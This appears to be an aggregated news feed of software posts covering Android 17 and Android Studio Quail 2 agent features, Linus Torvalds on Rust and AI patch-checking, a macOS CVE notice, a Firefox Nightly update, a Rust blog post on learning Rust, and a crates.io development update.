Versatile Video Coding (H.266): Enables OEMs to add codec support by defining the video/vvc MIME type in MediaFormat, adding new VVC profiles in MediaCodecInfo, and integrating support into MediaExtractor.
Camera device type: New APIs that query the underlying device type to identify if a camera is built-in hardware, an external USB webcam, or a virtual camera.
Constant Quality for Video Recording: SetVideoEncodingQuality in MediaRecorder configures a constant quality (CQ) mode for video encoders to ensure uniform visual fidelity across the entire video.

Better support for hearing aids

Bluetooth LE Audio hearing aid support: Android now includes a specific device category for Bluetooth Low Energy (BLE) Audio hearing aids with the new AudioDeviceInfo.TYPE_BLE_HEARING_AID constant, so your app can distinguish hearing aids from regular headsets to provide a tailored experience for users with assistive listening devices.
Granular audio routing for hearing aids: Android 17 allows users to independently manage where specific system sounds are played. They can choose to route notifications, ringtones, and alarms to connected hearing aids or the device's built-in speaker, helping to avoid unwanted in-ear interruptions while maintaining a Bluetooth connection for hearing aid management apps.

CameraX and Media3

CameraX and Media3 have been updated for Android 17. They are there to do the heavy lifting, smoothing the rough edges of media development and simplifying building reliable camera capture, smooth media playback, and creative and complex editing experiences.

We've released an agent skill that can migrate legacy Android camera implementations (Camera1 or raw Camera2 APIs) to CameraX.

Note: You'll need to update your CameraX version to either 1.5.2 or 1.6.0+ to avoid a crash related to an added dynamic range mode on Android 17 devices.

Get your apps, libraries, tools, and game engines ready!

If you develop an Android SDK, library, tool, or game engine, it's critical to prepare any necessary updates now to prevent your downstream app and game developers from being blocked by compatibility issues and allow them to target the latest SDK features. Please let your downstream developers know if updates are needed to fully support Android 17.

Testing involves installing your production app or a test app making use of your library or engine using Google Play or other means onto a device or emulator running Android 17 Beta 4. Work through all your app's flows and look for functional or UI issues. Each release of Android contains platform changes that improve privacy, security, and overall user experience; review the app impacting behavior changes for apps running on and targeting Android 17 to focus your testing, including the following:

Resizability on large screens: Once you target Android 17 (SDK 37), you can no longer opt out of maintaining orientation, resizability and aspect ratio constraints on large screens.
Dynamic code loading: If your app targets SDK 37 or higher, the Safer Dynamic Code Loading (DCL) protection introduced in Android 14 for DEX and JAR files now extends to native libraries. All native files loaded using System.load() must be marked as read-only. Otherwise, the system throws UnsatisfiedLinkError.
Enable CT by default: Certificate transparency (CT) is enabled by default. (On Android 16, CT is available but apps had to opt in.)
Local network protections: Apps targeting SDK 37 or higher have local network access blocked by default. Switch to using privacy preserving pickers if possible, and use the new ACCESS_LOCAL_NETWORKpermission for broad, persistent access.
Background audio hardening: Starting in Android 17, the audio framework enforces restrictions on background audio interactions including audio playback, audio focus requests, and volume change APIs. Based on your feedback, we’ve made some changes since beta 2, including targetSDK gating while-in-use FGS enforcement and exempting alarm audio. Full details available in the updated guidance.
NPU access declaration: Apps targeting Android 17 that need to directly access the NPU must declare FEATURE_NEURAL_PROCESSING_UNIT in their manifest to avoid being blocked from accessing the NPU. This includes apps that use the LiteRT NPU delegate, vendor-specific SDKs, as well as the deprecated NNAPI.

Get started with Android 17

Your Pixel device should get Android 17 shortly if you haven't already been on the Android Beta. If you don’t have a Pixel device, you can use the 64-bit system images with the Android Emulator in Android Studio. If you are currently on Android 17 Beta 4.1 and have not yet taken an Android 17 QPR1 beta, you can opt out of the program and you will then be offered the release version of Android 17 over the air.

Getting the Android 17 beta on partner devices

Android 17 is available in beta on handset, tablet, and foldable form factors from partners including Honor, iQOO, Lenovo, OnePlus, OPPO, Realme, Sharp, vivo, and Xiaomi.

For the best development experience with Android 17, we recommend that you use the latest Canary build of Android Studio Quail. Once you’re set up, here are some of the things you should do:

Test your current app for compatibility, learn whether your app is affected by changes in Android 17, and install your app onto a device or Android Emulator running Android 17 and extensively test it.

Thank you again to everyone who participated in our Android developer preview and beta program. We're looking forward to seeing how your apps take advantage of the updates in Android 17, and have plans to bring you updates in a fast-paced release cadence going forward.

For complete information on Android 17 please visit the Android 17 developer site.

Android Studio Quail 2 is Stable: Multi-task with the Android Studio AI agent

Sat, 25 Jul 2026 10:15:29 +0200

Posted by Amman Asfaw, Product Manager, Android Studio

Android Studio Quail 2 is now stable and ready for you to use in production, bringing a shift to your IDE with concurrent agentic workflows, natively integrated memory leak profiling, and context-aware crash remediation. Whether you are performing a sweeping architectural overhaul, tracing a memory leak, or resolving a critical production crash, Android Studio keeps you anchored in your workspace by reducing manual friction.

Here’s a deep dive into what’s new:

Multi-tasking with parallel chats

In Android Studio Quail 2, we've been hard at work redesigning Agent Mode from the ground up. This new architecture provides better performance, offers more flexibility for decomposing complex tasks, and improves the suite of internal tools the agent uses to do its work.

In addition to these behind-the-scenes improvements, these changes also allow you to converse across multiple agent chats simultaneously. Waiting for the Android Studio agent to finish a task before you can ask another question or initiate a separate task in Agent Mode is a bottleneck of the past. You can multi-task seamlessly: kick off a UI refactor in one tab, fix a ProGuard rule in a second, and generate documentation in a third.

You can also change which models the agent uses from chat to chat based on the requests you have. Take a look at Android Bench for an analysis of how LLMs perform Android development tasks.

How to use: Click the "+" icon to start a new parallel conversation, and use the History icon to navigate between active tasks. Alternatively, select File > New > New Agent Tab to open a conversation in a dedicated tab.
Note: Worktree support is currently unavailable. Exercise caution when running concurrent chats that modify the same project files, which can potentially lead to editor conflicts.

Run multiple agent tasks in parallel with different models of your choice.

Use the History icon to navigate between active tasks.

Memory leak detection with LeakCanary

Memory leaks in Android occur when your code holds onto an object's reference long after its life cycle has ended. This prevents the Garbage Collector from reclaiming that memory, eventually leading to sluggish performance or OutOfMemoryError.

Hunting down memory leaks can be a tedious, manual task. Starting with Android Studio Quail 2, the popular open-source leak detector LeakCanary is natively integrated directly into the Profiler as a dedicated, first-class task.

This integration transforms your debugging performance by lifting and shifting the heap analysis off your resource-constrained testing phone, and onto your powerful development computer. By running the analysis on your computer, leak tracing is up to five times faster and jank-free, leaving your test app running smoothly on the device.

Once a leak is detected during a profiling session:

The Profiler renders an interactive, color-coded leak trace, grouping occurrences and estimating lost memory.
You can click Go to declaration on any leaking object in the trace to instantly jump to that exact line of code in your editor.
You can click Fix with Agent to have the Gemini agent ingest the trace, explain the root cause of the retained reference, and write the exact code change (such as unbinding a listener or clearing a static reference) to plug the leak.

Review memory leaks identified via LeakCanary through the Fix with Agent button.

App Quality Insights agent integration

Tracking down the root cause of an app crash can require manually synthesizing stack traces, device data, and source code. However Android Studio’s App Quality Insights (AQI) is now fully integrated with Agent Mode to do the heavy lifting for you.

When you click on a crash in the AQI panel, you immediately get a concise, high-level summary of the issue. If you need to dig deeper, simply click See more. This opens a dedicated chat where the agent uses your selected model and pulls in local source code and the full stack trace to deliver a comprehensive explanation of the failure.

With the new agent integration, you move directly from issue identification to resolution. By clicking Fix with AI, the agent will analyze the issue, propose a step-by-step fix plan, and—upon your approval—apply the necessary code changes directly to your project and verify the resulting fix

The Fix with AI button triggering the agent to analyze the issue, then propose the fix

Quality & stability improvements

Beyond new features, we’ve continued our focus on quality by addressing numerous bugs and incorporating the latest stability and performance improvements from the IntelliJ platform, making this a significant enhancement for your daily development.

Get Started

Ready to dive in and accelerate your development? Download Android Studio Quail 2 and start exploring these new features today! As always, your feedback is crucial to us. Check known issues, report bugs, and be part of our vibrant community on LinkedIn, Medium, YouTube, or X.

Linus Torvalds on Rust, C, Bugs, and AI Patch-Checking Tools

Sat, 25 Jul 2026 10:12:38 +0200

"Git and email are the two really only tools I use," Linus Torvalds said at Open Source Summit India 2026. But ZDNet reports that he also shared his thoughts on Rust, C, and patch-checking tools: "I use Google as a way to look things up." He added, "I'm unusual; most of the other maintainers end up using many more tools, and I think a lot of them are starting to use AI tools for patch checking," while he "works at a higher level. I work with people, not tools." When asked about Rust both in Git and the kernel, he pushed back against hype: "I'm not sure Rust is going to take over the world. I still think Rust is very interesting, [but] I still find C to be a much simpler tool." Torvalds continued, "I'm much more excited about all the tools we have for verification of C," including "automated patch verification tools" and "automated email checking tools for patches like Sashiko." Summing up, Torvalds told the Mumbai audience: "I'm more of a hack-and-slash kind of person, and I still like the raw and simple power of C, and I don't think that's going to change." Torvalds also warned against overestimating Rust's benefits: "Rust fixes a few easy bugs that you can make in C, but it does not fix the logic errors, right? It does not think for you, and when you write incorrect code, the language does not matter. The end result will be incorrect." On mixed C/Rust code bases, he pointed out that guarantees are limited: "The guarantees that Rust give you only apply in the Rust-only parts of your code base, and wherever you interact with C code, all bets are off," with most Rust code in Linux talking to "core kernel C code" that is "much better quality... because that code has been tested in every single environment." At the same time, Torvalds pointed out, "some of our big and more high-profile bugs in the kernel lately have been logic errors" rather than the kind of memory errors Rust prevents. "It was just bad programming, which sadly happens even in carefully maintained subsystems and important kernels that are supposed to be very secure."

CVE-2025-30440 | Apple macOS up to 13.6/14.6/15.4 memory corruption (EUVD-2025-14800)

Sat, 25 Jul 2026 08:41:20 +0200

A vulnerability was found in Apple macOS up to 13.6/14.6/15.4. It has been classified as critical. This affects an unknown function. Performing a manipulation results in memory corruption. This vulnerability is identified as CVE-2025-30440. The attack is only possible with local access. There is not any exploit available. Upgrading the affected component is recommended.

Firefox Nightly: Eyedropper Quick Action, geckodriver 0.37, and Tighter File Permissions – These Weeks in Firefox: Issue 205

Sat, 25 Jul 2026 08:37:28 +0200

Highlights

Dao added a new Eyedropper quick action! Check it out by typing “color” or “eyedropper” in the URL bar (Bug 1803575) on Nightly.

Henrik Skupin released geckodriver 0.37.0, which includes support for several new APIs and various bug fixes. See the release page for details.
Starting from Firefox 153, access to local file: URLs is being restricted by default.
- Extensions now require an explicit “Access local files on your computer” permission, separate from broad host permissions, that users must grant.
- Extensions can call the extension.isAllowedFileSchemeAccess() API to determine whether they have been granted access to file: URLs (Bug 2034168).

Friends of the Firefox team

Resolved bugs (excluding employees)

Script to find new contributors from bug list

Volunteers that fixed more than one bug

:Vincent
Chris Vander Linden
DrSeed
Khalid AlHaddad
Sam Johnson

New contributors (🌟 = first patch)

Francis :mckenfra: tld service for webextensions
any1here: about:preferences#privacy is broken with MOZ_DATA_REPORTING false
pullmana8: Fix protocol/Actor.js to throw an Error instead of an Actor
RAN1: Firefox Crashes on Quit When Running Two Browsers With Separate Profiles

Project Updates

Accessibility

Morgan added a new accessibility-specific, front-end review skill to mozilla central! 🎉 You can read about it, and learn how to use it in the accessibility review source docs.

Add-ons / Web Extensions

Addon Manager & about:addons

Migrated addon-page-header and addon-card action buttons to the reusable moz-button web component as part of the ongoing Nova restyling of about:addons – Bug 2042200 / Bug 2042204
Extended moz-page-nav-button with a forwarded title property to fix an accessibility issue where the component lacked a label in collapsed state; Landed in Firefox 153, and uplifted to Firefox 152 for about:settings which was already riding the 152 release train – Bug 2040971
Fixed a shutdown-timing bug where a pending GMP update-check timer could fire after XPCOMShutdownThreads started, causing a pref write assertion; Fixed in Firefox 153 – Bug 2043803

WebExtensions Framework

Fixed MV2 content scripts incorrectly injecting into guarded hosts because MozDocumentMatcher::MatchesURI was not consulting CheckGuarded when mCheckPermissions was false; Fixed in Firefox 153 – Bug 2041393
Added support for accessing ObservableArray attributes (such as adoptedStyleSheets) from XrayWrappers and extension content scripts, unblocking extensions that rely on this Web API; Fixed in Firefox 153 – Bug 1751346
Wired runtime_blocked_hosts and runtime_allowed_hosts enterprise policy settings through ExtensionSettings to allow administrators to restrict extension host permissions on managed devices, starting in Firefox 153 – Bug 1805205
- Thanks to Mike Kaply for implementing this enterprise policy enhancement.

WebExtension APIs

Fixed promiseTabWhenReady blocking indefinitely on discarded tabs, preventing cleanup of associated resources and potentially causing memory leaks; Fixed in Firefox 153 – Bug 1653876
Fixed webNavigation.onCommitted being dispatched twice for cross-origin iframes loaded under Fission, caused by a redundant OnStateChange trigger firing in addition to OnLocationChange; Fixed in Firefox 153 – Bug 1750196

DevTools

Chris Vander Linden made the Search input component shared as we plan to use it in the Netmonitor as well (#2019260, #2027580, #2027582)
pullmana8 improved error management in the DevTools protocol (#2031735)
Chris H-C :chutten removed Legacy Telemetry devtools instrumentation (#2039650)
:glob ✱ fixed an issue in the Inspector where the swatch color for variable in @starting-style rule could have the wrong color (#2016778)
Nicolas Chevobbe [:nchevobbe] exposed heading level more clearly in the accessibility tree (#1588784) and in the accessibility highlighter (#2044904)

Julian Descottes [:jdescottes] migrated the markup view to HTML (from XHTML) to fix an issue when editing the markup (CodeMirror 6 does not support XHTML) (#2028058)
Nicolas Chevobbe [:nchevobbe] fixed an issue in Netmonitor search where it could appear the the search stalled (#2042405)
Hubert Boma Manilla (:bomsy) added more connection information (ECH, Delegated Credentials, OCSP, Private DNS, …) in Netmonitor Security tab (#2036404)

WebDriver

Khalid AlHaddad improved the window manipulation commands in Marionette and WebDriver BiDi to allow individual window geometry properties, such as x, y, width, and height, to be adjusted independently.
Khalid AlHaddad updated our codebase to use constants instead of hardcoded strings for all our session data types.
Alexandra Borovova updated the “emulation.setLocaleOverride” command to also apply a locale emulation in dedicated and shared workers.
Alexandra Borovova fixed a regression when there would be no “script.realmCreated” events after the cross-origin navigation.

Search and Urlbar

Dharma updated context search actions to trigger search instead of entering search mode @ 1945080
Daisuke and Drew worked on a lot of Nova updates, including ensuring Nova is tested @ 2041255, 2030183, 2019168, 2044849, 2033583
Moritz has worked on several refactorings to allow the urlbar to be used in content @ 2039828, 2039298, 2041280
Middle click paste replaces content was fixed by Moritz @ 2042893
Michel added feature to show registrable domain on desktop after its implementation on mobile @ 1986161

The Rust Programming Language Blog: The many journeys of learning Rust

Sat, 25 Jul 2026 08:37:24 +0200

This is another post in our series covering what we learned through the Vision Doc process. We previously described the overall approach and what we learned about doing user research, we explored what people love about Rust, dug into what it takes to ship safety-crticial Rust, and described some of the major challenges that people face when using Rust.

In this post we walk through what folks have found on their journey to learn the Rust programming language with ups and downs covered.

As a disclaimer, LLMs (Large Language Models) come up in this post because our interviewees brought them up. We're scoping discussion to their use as a learning tool, covering research and example generation, not broader questions about AI (Artificial Intelligence) in software development.

Many paths to needing Rust

The interviews surfaced several different paths into Rust: curiosity, embedded work, job-market pressure, organizational adoption, and reassignment after a team or company chose Rust. That last path matters because many learners are not evaluating Rust from a blank slate; they are trying to become productive after Rust has already arrived in their work.

"Funny enough, I've advocated for more niche languages than Rust in the past. Rust has pretty much stopped being as much of a niche language as it was, but it's not Java." -- Fractional CTO

Rust learning resources

Likely as expected, the folks that we talked to reach for a range of resources to learn Rust. Some reach for official documentation, such as The Rust Programming Language Book and find that sufficient to build on what the compiler was already showing them.

"I started with the official Rust documentation because there are a lot of great examples of how features like the borrow checker work." -- Software engineer at an Automotive supplier

Others needed more passes and more formats, sometimes reaching for resources the community maintains, such as Rustlings, The Little Book of Rust Macros, and Learn Rust With Entirely Too Many Linked Lists.

"The first time I went through the chapter in [The Rust Programming Language] on borrow checking, I was like, what is this? I read it again, then I watched a YouTube video of someone explaining the chapter." -- Rust freelance consultant

"Rust book, Rustlings, Zero to Production in Rust, Jon Gjengset tutorials. A bunch of books. It's not a one-pass reading. Can't say how many times I've gone through it." -- Software engineer working on video streaming and storage

These resources have brought up an entire generation of Rust programmers. But, to some, there is a perception that these resources have trouble keeping pace with the language.

"We'd like to use [The Rust Programming Language/'the book'], but we've found that it's out of date, unfortunately. We've looked at the GitHub repo and found it's got a lot of unresolved issues and unmerged PRs" -- Principal Software Engineering work on Rust adoption in a regulated industry

Whether or not this is factually true, Rust's growth has nonetheless put more scrutiny on these materials. Companies evaluating adoption and engineers getting reassigned to Rust teams are looking at them with fresh eyes and finding the gaps that affect their own evaluation.

Beginner stumblings and unlearning habits

It's pretty typical for Rust to be the 2nd, 3rd or Nth programming language that someone picks up. They'd end up writing their most familiar language in Rust, whether C++ patterns, Java patterns, or whatever they knew, for months or even years. Eventually they got comfortable enough to start writing idiomatic Rust.

"There's a bit of a drop in productivity compared to C if you're already familiar with it just because you're learning new rules, new syntax." -- Principal Firmware Engineer (mobile robotics)

"In the beginning it was more poking around the code and adding and removing some ampersands and asterisks to try to make sense of mut and not mut and whatever." -- Senior engineer with 20 years of Java experience in cloud and IoT

We also spoke with someone who found that not having much of a programming background seemed to benefit people picking up Rust. Not having worn-in grooves from other languages may play a role here, and it's worth investigating further.

"I had someone who had never programmed much before start working on the internals of [our Rust project]. She was just fine with getting into Rust. It's more of the senior people that struggle as they need to unlearn practices which may work in other languages, but it's not the 'Rust' way." -- Researcher, Automotive OEM R&D Lab

Learning to work with the borrow checker

We heard a lot about learning to work with the borrow checker instead of against it. People get there through different paths, but a few patterns came up repeatedly.

The compiler as teacher

Rust's diagnostics did the teaching on their own, especially around lifetimes.

"If you mess up the lifetimes in a piece of code that you've written by hand, I usually find that Rust's diagnostics are very helpful" -- Researcher working on static analysis of Rust programs

"Whatever's missing, the compiler usually fills in: it tells me 'you need to declare the lifetime of this reference', so I know and can figure it out. That all generally works pretty well." -- Senior Software Engineer

Learning by doing

Others felt like they only really internalized the borrow checker after writing a lot of Rust. It took projects, coding challenges, prototyping and so on until at some point it clicked.

"I actually did not understand the borrow checker until I spent a lot of time writing Rust" -- Founder of a startup built on Rust

"Besides the prototyping work, I also did coding-challenge-type stuff to get familiar with Rust for Advent of Code. [..] It eventually clicked to the point where I wasn't fighting with Rust, it was working for me. I had that experience other people describe: when I managed to get my program to fit with Rust, it worked. I didn't spend time debugging." -- Principal Software Engineer, large SaaS provider

Letting go of "clone guilt"

Some learners arrive with the assumption that good Rust means zero clones, zero copies, lifetimes threaded through everything. They set the bar at optimal before they've learned how to write idiomatic Rust, and it makes the borrow checker feel harder than it needs to be at the outset.

"On one of my first projects, I was like, 'I don't ever want to copy or clone anything,' so I carefully wove through all the lifetimes and got myself into a bit of a bind. Then I saw someone else just cloning the struct I was working with, and it was super cheap. Sometimes you can just clone and it's going to be okay." -- Researcher at a university

The experienced Rust developers we spoke with consistently said the same thing: clone freely while you're learning, then optimize when you understand the problem. Rust's reputation for performance and correctness feeds this. Newcomers assume anything less than optimal is wrong before they've written a first working program, and clone guilt is how that shows up.

We think it could be an interesting area of future study to check into the patterns Rust programmers employ at different levels of experience and under which circumstances. One member of the Rust Vision doc team that's very experienced with Rust noted that there's kind of an "expected shape" they understand as passing the compiler. This knowledge influences how they approach writing code which wouldn't take that shape and they naturally find themselves understanding when to use so-called workarounds, such as passing around indices into arrays or Vecs.

Multi-paradigm, but not the OOP some are used to

The Rust programming language is multi-paradigm, and how that lands depends on what you're coming from. We heard some that came from a functional background were delighted with digging into learning how much Rust inherits from that lineage. Some others noted that they and others on their teams struggled to unlearn the object-oriented style they'd come to use heavily in other languages like C++ and Java.

"Developers coming from C++ tend to think object-oriented. I think that's a difference between C++ and Rust." -- Architect at Automotive OEM

"I had exactly that thing, where I would apply all my years of Java and JS thinking, where I could just create some object, not care about it, return it, have it sloshing around between various functions. Found myself reaching for these patterns and then being told 'no, you cannot do that'." -- Principal Engineer at a SaaS company

Developers coming from functional programming had less to unlearn: strong typing, pattern matching, and an expression-oriented style were already familiar.

"My background has been more functional programming, strong typing. That originated for me as a Lisper: once a Lisper, always a Lisper." -- Principal Software Engineer working on Rust tooling for safety-regulated industries

"The languages I primarily used before Rust were things like OCaml. Way back, I came from C and C++, the classic languages, and then I spent quite a long time doing primarily pure functional stuff. These days I've ended up back in what I like to think of as a pragmatic center ground [with Rust]." -- Fractional CTO

Teaching Rust in academia

We spoke with a university professor that's been teaching Rust generally. In the academic environment, they were able to use proxies for some things such as "traits are like interfaces in Java" because the students had already gone through a set of courses in their first and second years that taught them Java. They introduced concepts slowly throughout the course, choosing to deal with some more complex topics like generics later. The outcome generally was that students had no problem picking up Rust in this setting.

"I couldn't see any big difference on the embedded side. We also teach an embedded class, and we did an experiment. Half of the students' feedback was worse on the Rust class, mostly because they needed to build the project themselves. The C students just got one from [an LLM], absolutely no problem." -- University Professor, on teaching Rust

The C cohort leaned on LLMs for the project in ways the Rust cohort couldn't. We don't yet have a clear answer for why.

What did come through clearly was the Rust cohort's experience with the community. Some students needed to figure out which drivers to use for the embedded project and how to use them. Their professor encouraged them to open issues and ask questions directly on GitHub, and the maintainers responded. Students who had never contributed to open source before were getting answers from the people who wrote the code.

Learning using LLMs

Some experienced folks shared that they saw LLMs as a tool that can help someone come up to speed quickly, either as a research tool or for generating example Rust code to understand concepts.

"I'm optimistic that there's a way to work [LLMs] in that will cut down that learning curve. One of the big things these tools bring is reducing the learning curve in general; these are very good tools to help you navigate a space that you don't know yet." -- Maintainer of large open source Rust crate

"I try [LLMs] out once a month, usually for generating an example or something like this. Just like with Stack Overflow: when you read an example, you should read it carefully and try to understand it. Not copy and paste it, but type it in your own words in code and then check it, because that's where the teeny tiny little mistakes are." -- Founder of startup built on Rust

For some learners, an LLM is just another way to find answers, no different than a search engine.

"So for the most part, picking up Rust - how do I learn? I'll [use web search for] things, I'll ask [an LLM], I'll just poke around and read the code." -- Senior Software Engineer working in a regulated space

One founder went further and claimed that LLMs change who can become a Rust developer. One consulting company founder described hiring high school graduates with no systems programming background and training them as Rust developers, with LLMs filling in the learning gaps that would previously have required years of experience.

"At the beginning, I was worried, but now that we have [LLMs] supporting development, the difficulty of the language doesn't matter. I'm seeing a huge opportunity behind strong runtime languages like Rust. [..] In [Developing Country] we hire 20-25 high school graduates, train them to be Rust programmers, then they enhance our workforce worldwide." -- Founder of a consulting company

We heard this from one organization. This is a claim that the combination of Rust's compiler and LLM tooling can dramatically shorten the path from beginner to working developer. Whether it generalizes depends on questions we can't answer from a single interview: how long these developers stay, what kind of code they can maintain independently, and whether this training/learning model works outside this company's particular structure. If it holds up, the pool of people who can become Rust developers is much larger than the usual hiring profile suggests.

Organizational considerations for Rust learners

We spoke with a number of folks on teams that are using Rust in larger organizations. Teams wanted to know that everyone would end up at roughly the same level of competence, which led a good number to invest in training courses to get there. Some leaders found that staff was able to ramp well enough by reading The Rust Programming Language, going through Rustlings, and then picking up lower risk and priority tickets to work on. Having a sense of community was also important within companies; it helps people know they are not alone when they are asked to work on Rust after, say, a reorganization happens.

"[..] the idea with the class as opposed to 'just read the Rust book on your own' was that this gives everyone kind of the same baseline going in." -- Principal Firmware Engineer (mobile robotics)

"So typically we're going to have people work through Rustlings, work through The Rust Programming Language. We have them then start to pick up lower risk tickets to work on." -- Principal Engineer at a large SaaS provider

"We've got an internal Slack channel for Rust learning where people can drop questions and others will come in and answer them. That helps build up understanding and community." -- Software Engineer at a large corporation

Some organizations found that while the person they'd hire would need to learn Rust, it was still preferable to the alternative of hiring someone for a critical piece of software written in another language.

"They needed to grow and maintain this C++ codebase. They had a C++ wizard, and they tried for about two years to find someone with the same level of expertise. They ended up hiring people that didn't know Rust and ramping them up, creating FFI bindings from the C++ side so they could work in Rust. And you can feel it: the borrow checker is teaching these people the right way to handle their systems." -- Principal Engineer at an Automotive OEM

The community and helping each other aspect seems to grow bonds as organizations mature.

"Our team is [all about] mentorship. I've mentored people coming up to speed on Rust, and people help each other hugely." -- Principal Software Engineer at a large SaaS company

Silent attrition

We identified some cases where people have approached Rust and bounced off of it, for one reason or another. In the below case, someone with a background in a language with fewer guardrails found themselves frustrated enough with Rust to walk away.

"All of that means that that embedded ecosystem is very frustrating to somebody who comes from C and is like, why can't I just get a pointer to this peripheral and then write into the registers. What are you doing to me? [..] My friend never got over that. He looked at it and said, I'm not going to deal with this and walked away." -– A second University Professor

There may be language features that for a particular domain are not seen as comfortable or usable yet, such as async Rust usage in a safety domain. We'd like to map which language features feel off-limits in which domains; async in safety-critical work probably isn't the only case.

"We're not fully sure how async [Rust] will work out in the long run in our domain. [..] People don't feel comfortable yet since C++14 doesn't provide such concepts. [..] It's the chicken-and-egg problem again: we probably need to gain some experience to see whether we can actually benefit from these new concepts in the automotive and safety domains." -- Team Lead at Automotive Supplier (ASIL D target)

We heard in at least one case, that while the language was challenging and there was a near bounce, the tooling helped keep them coming back and trying.

"Well, I think my early impressions of Rust - one is I find C++ so intimidating, and I think a big part of why I was able to succeed at [..] learning Rust is the tooling. I mean, all this makes sense [..] but it's like, for me, getting started with Rust, the language was challenging, but the tooling was incredibly easy." -- Founder of another startup built on Rust

While it might be considered more of a community concern, if there are interactions online and in spaces that point to learners having so-called "skill issues" this feeds into the narrative that Rust must be hard to learn. We may be unintentionally turning away Rust Project contributors and maintainers due to the vibes being put out when new learners show up in certain spaces.

"People are very helpful, but generally the attitude is: if your program is very complicated, it's mostly a skill issue. There's not that much empathy when people get stuck learning, and a lot of people are just pushed away by it. There's probably a huge number of people who silently stop wanting to write Rust, because at some point it gets complicated and the feedback they get is 'you just need to be a better programmer, obviously'." -- Software Engineer at a SaaS Provider

Feedback on near-bounces from survey

We found a few interesting perspectives collected in the Rust Vision doc survey which we administered with examples of bouncing and coming back:

"I started before 1.0, got stuck very soon when trying to translate patterns from C++ to Rust (due to borrow checking). I tried again after 1.0 and it stuck. [..]" -- Survey Respondent A

Survey Respondent A went on to share in a more detailed response about a perceived weakness in Rust learning materials related to lifetimes and the borrow checker are explained. There was an observation that it's fairly easy to run into more complex situations with lifetimes and the borrow checker. They felt that the current state of this sort of material and tutorials is fairly superficial and can leave learners stuck when they run into those more complex situations.

One respondent that bounced once and came back shared challenges around usage of async. In concert with Rust's memory-safety and the borrow checker, they found some of the nitty-gritty details of async were difficult to learn. While we're aware of the Rust Project's continuous efforts to improve Rust's async story, this is another data point of a user that faced challenges.

Another survey respondent shared how they had multiple times bounced in trying to learn Rust. They returned after a year or so and found Rustlings to be highly motivating. We note that having multiple pathways for folks to learn Rust opens up more possibilities for those that nearly bounced, just like this person.

Need more focused work on silent attritrion

The thing that stood out most to us was the lack of real, first-hand knowledge of having bounced when learning Rust. While this is an obvious effect of soliciting answers to our survey and opportunities to interview through Rust channels and our networks, this cohort is good future candidate where interviews could start.

Conclusions

Across these conversations, the experience of learning Rust depended heavily on context. Why someone was learning and what support they had mattered as much as the borrow checker. The same kinds of examples kept coming up: a training course that got a team to a shared baseline, a maintainer answering a student's first GitHub issue, and a colleague whose code showed that cloning was okay.

That context is largely something the community has a hand in. With that in mind, here is what we take away from what we heard, and what we still don't know.

What seems worth trying

Learning materials aimed at unlearning. Syntax barely came up when people described their struggles. People struggled with unlearning habits from previous languages, whether OOP structuring from C++ and Java or the instinct to grab a raw pointer to a peripheral. Most of our learning materials teach Rust from first principles, and that works. What we didn't come across is much written for, say, the engineer with ten years of Java who lands on a Rust team after a reorg: material that names the patterns they'll reach for that won't transfer, and shows what to do instead. The professor we spoke with did a version of this in the classroom, leaning on "traits are like interfaces in Java" and saving generics for later in the course, and the students did fine. Something similar could work outside the classroom too.

Put the "clone freely while you're learning" advice somewhere official. Every experienced developer we spoke with gave the same advice, but learners seem to mostly pick it up by accident, like the researcher who happened to see someone else cloning the struct they had been carefully threading lifetimes through. Saying it early in official materials would take some of the steepness out of the curve. The broader version belongs there too: idiomatic Rust doesn't have to mean optimal Rust, especially on a first project.

Diagnostics are already a primary learning resource: several people told us the compiler taught them lifetimes before any documentation did. Diagnostics reach learners right at the moment they're stuck. When writing new ones, it seems worth keeping the confused newcomer in mind alongside the expert, because for a lot of people this is where the learning happens.

Is "the book" actually out of date? Whether or not The Rust Programming Language or other materials are actually behind, a team evaluating Rust looked at its repository, saw unresolved issues and unmerged PRs, and moved on. As more companies evaluate adoption, more people will look at these materials with the same fresh eyes. Visible issue triage and some communication about what's current and what's planned would address the perception, separately from whatever content work may or may not be needed.

How stuck learners get treated is shaping who stays. We heard about students getting answers on GitHub from the maintainers who wrote the code, and we heard about learners being told their struggles were a skill issue. The first group came away with a lasting good impression of Rust. Some of the second group walked away entirely, and because they leave quietly, it's easy to underestimate how many of them there are. The welcoming side of the community came up unprompted as a reason people stayed, so we know it makes a difference when we get this right.

Every organization we spoke with described essentially the same ramp-up for bringing a team to Rust. Teams that brought groups of developers to Rust described roughly the same approach: get everyone to a shared baseline with a training course or with The Rust Programming Language and Rustlings, start people on lower-risk tickets, and give them somewhere internal to ask questions. Several organizations also found that hiring developers without Rust experience and ramping them up worked out better than continuing to search for rare expertise in another language. None of this is complicated, and teams weighing adoption don't need to invent a training program from scratch.

What we still don't know

The biggest gap is the people we didn't reach. Nearly everyone we spoke with stuck with Rust long enough to be reachable through Rust channels, so the stories of bouncing off came to us second-hand: a friend who walked away from embedded Rust, colleagues who quietly stopped after the responses they got. As we wrote in our first post, finding people who decided against Rust takes targeted outreach. If the proposed User Research team comes together, talking with learners who bounced would make a good early project, and learning is probably the area where that research would teach us the most.

We also don't know what to make of LLMs as a learning tool yet. They came up as a search engine, as an example generator, and in one organization's case as something that makes training high school graduates into working Rust developers possible. We saw a classroom where the C cohort leaned on LLMs in ways the Rust cohort couldn't, and we don't have an explanation for it. All of this comes from a handful of conversations, so we treat it as a set of leads to follow up on. Given how quickly the tools are changing, it seems better to study this deliberately than to wait and see what folklore develops.

The folks we spoke with showed that people do get there: with enough passes through the materials and enough code written, it eventually clicks. The opportunities above are mostly about making it work for the people who didn't pick Rust on purpose, and for the ones who would have stuck around if their early experience had gone a little differently.

The Rust Programming Language Blog: crates.io: development update

Sat, 25 Jul 2026 08:37:18 +0200

Another six months have passed since our last development update, and the crates.io team has been busy. Here's a summary of the most notable changes and improvements made to crates.io since then.

Source Code Viewer

Crate pages now have a "Code" tab that lets you browse the contents of published crate versions directly on crates.io. This shows you the exact files that cargo downloads when you add a crate as a dependency, which might differ from the linked repository. This makes it much easier to audit your dependencies, including files that never appear in the repository, like the normalized Cargo.toml files that cargo generates.

The viewer comes with a file tree sidebar with search functionality, syntax highlighting, and GitHub-style line selection, where clicking or dragging line numbers produces shareable #L10-L20 URLs.

Under the hood, the server now builds a zip file for every published version. Since the .crate files that cargo consumes are gzipped tarballs without random access support, a background job re-packs each of them into a seekable zip archive plus a JSON manifest describing the contained files. Both are served from our static CDN. The frontend then fetches only the manifest and loads each file on demand with an HTTP range request. Because of this architecture, browsing crate sources essentially adds no load on the crates.io API servers. Existing crate versions have been backfilled, so this works for old releases too.

